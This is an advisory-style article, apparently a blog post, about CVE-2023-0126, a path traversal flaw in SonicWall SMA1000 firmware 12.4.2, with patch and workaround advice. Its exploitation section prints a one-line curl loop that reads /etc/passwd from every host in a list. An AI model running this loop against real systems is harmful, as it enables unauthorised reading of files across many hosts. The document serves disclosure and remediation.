CVE-2023–0126: SonicWall SMA1000 Pre-auth Path Traversal — Vulnerability and Remediation

In the realm of cybersecurity, identifying and addressing vulnerabilities is paramount to safeguarding our digital infrastructure. This article delves into the details of CVE-2023–0126, a pre-authentication path traversal vulnerability affecting SonicWall SMA1000, outlining the exploitation, protection, and recommended resolutions.

CVE-2023–0126 Overview

SonicWall Secure Mobile Access (SMA) 1000 series, specifically on firmware version 12.4.2, harbors a pre-authentication path traversal vulnerability. This flaw could potentially allow an unauthenticated attacker to access files and directories stored outside the web root directory. It is important to note that SonicWall PSIRT is unaware of any active exploitation of this vulnerability in the wild, nor has a public proof of concept (PoC) been made available.

Impact of CVE-2023–0126

CVE-2023–0126 is rated with a CVSS score of 7.5, signifying a significant threat. This vulnerability could enable an attacker to traverse the file system and gain unauthorized access to sensitive files and directories, putting data and system integrity at risk. Importantly, this vulnerability solely affects SMA 1000 firmware version 12.4.2.

Exploiting CVE-2023–0126

A proof of concept (PoC) demonstrates how this vulnerability can be exploited:

cat file.txt| while read host do;do curl -sk "http://$host:8443/images//////////////////../../../../../../../../etc/passwd" | grep -i 'root:' && echo $host "is VULN";done

This PoC showcases an attacker attempting to access sensitive system files like ‘/etc/passwd’ by exploiting the path traversal vulnerability. A successful ‘grep’ indicates the system’s vulnerability.

Resolution and Protection

SonicWall has taken swift action to address this vulnerability:

1. Patch Application: SonicWall engineering has released a patch to fix this vulnerability. Organizations using SMA 12.4.2 firmware are strongly urged to visit MySonicWall.com to download and apply hotfix firmware 12.4.2–05352. It is essential to apply this patch as soon as possible.
2. Firmware Specificity: It is crucial to note that this vulnerability is limited to SMA 1000 firmware version 12.4.2. No other firmware versions are affected.

Workaround

Until the patch is applied, SonicWall recommends a few interim measures:

• Access Restriction: Limit SMA 1000 access to trusted sources and consider disabling access from untrusted Internet sources. This can be achieved by restricting access to Port 8443 to trusted IP addresses within your organization.

In Conclusion

CVE-2023–0126 is a notable security concern, emphasizing the importance of timely patching and proactive measures in cybersecurity. With the patch readily available and protective actions advised, organizations can mitigate the risks associated with this vulnerability. As a community, we must remain vigilant to evolving cybersecurity threats to safeguard our digital assets.